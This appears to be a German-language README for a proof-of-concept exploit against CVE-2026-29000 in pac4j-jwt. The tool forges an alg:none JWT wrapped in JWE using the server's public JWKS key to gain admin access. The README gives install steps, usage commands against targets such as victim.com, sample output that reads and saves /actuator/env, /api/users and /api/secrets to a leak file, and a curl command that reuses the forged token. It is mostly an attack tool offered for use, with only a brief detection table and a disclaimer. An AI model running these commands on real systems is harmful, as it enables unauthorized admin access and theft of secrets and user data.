
CVE-2026-29000 – pac4j-jwt Authentifizierungsumgehung (🔥 CVSS 10.0). Ein-Klick-Admin-Fälschung mittels Public-Key-JWE-Wrapping. Leakt Konfigurationen, Benutzer, Geheimnisse. Keep-alive, Proxy, benutzerdefinierte JWKS.⚙️ Bildungs-PoC-Exploit-Tool.
CVE-2026-29000 - One-Click Admin-Erstellung per JWT alg:none + JWE-Verschlüsselung
Dieser Exploit nutzt CVE-2026-29000 aus, eine kritische Schwachstelle mit CVSS 10.0 in der pac4j-jwt-Bibliothek. Durch das Extrahieren des öffentlichen JWKS-Schlüssels des Servers und das Fälschen eines verschlüsselten JWE-Tokens mit alg: none wird eine vollständige Umgehung der Authentifizierung erreicht, die mit einem Klick Administratorrechte gewährt.
alg:none-JWT und verpackt es mit dem öffentlichen Schlüssel des Servers| Bibliothek | Betroffene Versionen | Gepatchte Versionen |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
⚠️ Haftungsausschluss: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Red-Team-Einsätze bestimmt.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requirements.txt:
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
python exploit.py --target https://victim.com:8443
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
python exploit.py -t https://legit.com:8443 --ssl-verify
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
╔══════════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-29000 - Exploit zur Umgehung der Authentifizierung in pac4j-jwt║
║ Die lehrreiche One‑Click Admin‑Erstellung ║
║ CVSS 10.0 - KRITISCH ║
╚══════════════════════════════════════════════════════════════════════════════╝
[11:23:15] PHASE 1: Beschaffung des öffentlichen RSA-Schlüssels aus JWKS
[11:23:15] Suche nach JWKS-Endpunkt...
[11:23:16] JWKS gefunden unter /realms/master/protocol/openid-connect/certs
[11:23:16] Öffentlicher RSA-Schlüssel erfolgreich extrahiert
[11:23:16] PHASE 2: Erstellung eines JWT mit alg:none & Verschlüsselung in JWE
[11:23:16] Gefälschtes JWE-Token (gekürzt): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Token gespeichert unter backdoor.jwe
[11:23:16] PHASE 3: Senden des gefälschten JWE als Bearer-Token
[11:23:17] ✓ Authentifizierung erfolgreich! Zugriff gewährt auf /api/users/me
[11:23:17] PHASE 4: Aufzählen zugänglicher Endpunkte und Offenlegen sensibler Daten
[11:23:18] ✓ Abgeflossen: /actuator/env (Status 200)
[11:23:18] ✓ Abgeflossen: /api/users (Status 200)
[11:23:18] ✓ Abgeflossen: /api/secrets (Status 200)
[11:23:18] ✓ Abgeflossen: /config/server (Status 200)
[11:23:18] ✓ 4 sensible Endpunkte erfasst → in leak.txt gespeichert
[11:23:18] Keep‑Alive-Sitzung aktiv (Strg+C zum Beenden)
[11:23:18] Token (JWE) gültig für ~1 Stunde – bei Ablauf neu fälschen
┌─────────────────────────────────────────────────────────────────┐
│ PHASE 1: Beschaffung des öffentlichen Schlüssels │
│ ├── JWKS-Endpunkt entdecken (15+ bekannte Pfade) │
│ ├── JWK mit öffentlichem RSA-Schlüssel abrufen │
│ └── JWK → PEM-Format konvertieren │
├─────────────────────────────────────────────────────────────────┤
│ PHASE 2: Token-Fälschung │
│ ├── JWT mit alg: "none" erstellen │
│ ├── Admin-Ansprüche einfügen (ROLE_ADMIN, admin: true) │
│ └── JWT mit dem öffentlichen Schlüssel des Servers in JWE verschlüsseln │
├─────────────────────────────────────────────────────────────────┤
│ PHASE 3: Authentifizierungsumgehung │
│ ├── JWE als Bearer-Token senden │
│ ├── 8+ geschützte Endpunkte testen │
│ └── Sitzungscookie extrahieren │
├─────────────────────────────────────────────────────────────────┤
│ PHASE 4: Informationsabfluss │
│ ├── 20+ sensible API-Pfade aufzählen │
│ ├── Konfigurationen, Benutzer, Geheimnisse, Umgebung sammeln │
│ └── Alles in Leak-Datei speichern │
├─────────────────────────────────────────────────────────────────┤
│ Keep-Alive: Ping /api/ping alle N Sekunden │
└─────────────────────────────────────────────────────────────────┘
Nach der Ausnutzung das gespeicherte JWE-Token mit curl verwenden:
curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users
| Erkennungsmethode | Indikator |
|---|---|
| Log-Analyse | JWT mit alg: none in Audit-Logs |
| Netzwerküberwachung | JWKS-Endpunkt-Anfragen von unbekannten IPs |
| Versionsprüfung | `curl /actuator/info |
alg: none im JWT-Validator deaktivieren| Argument | Kurzform | Erforderlich | Standard | Beschreibung |
|---|
--target | -t | Ja | - | Ziel-URL (z.B. https://example.com:8443) |
--jwks | -k | Nein | Auto-Erkennung | Benutzerdefinierter JWKS-Endpunkt-Pfad |
--output | -o | Nein | None | Gefälschtes JWE-Token in Datei speichern |
--leak | -l | Nein | leaked_TIMESTAMP.txt | Abgeflossene Daten in Datei speichern |
--verbose | -v | Nein | False | Debug-Ausgabe aktivieren |
--proxy | -p | Nein | None | HTTP/HTTPS-Proxy |
--user-agent | -ua | Nein | Mozilla/5.0... | Benutzerdefinierter User-Agent |
--no-keep-alive | - | Nein | False | Sitzungs-Keep-Alive deaktivieren |
--delay | - | Nein | 5.0 | Keep-Alive-Ping-Intervall (Sekunden) |
--max-retries | - | Nein | 3 | Maximale Wiederholungen pro fehlgeschlagener Anfrage |
--ssl-verify | - | Nein | False | SSL-Zertifikate überprüfen |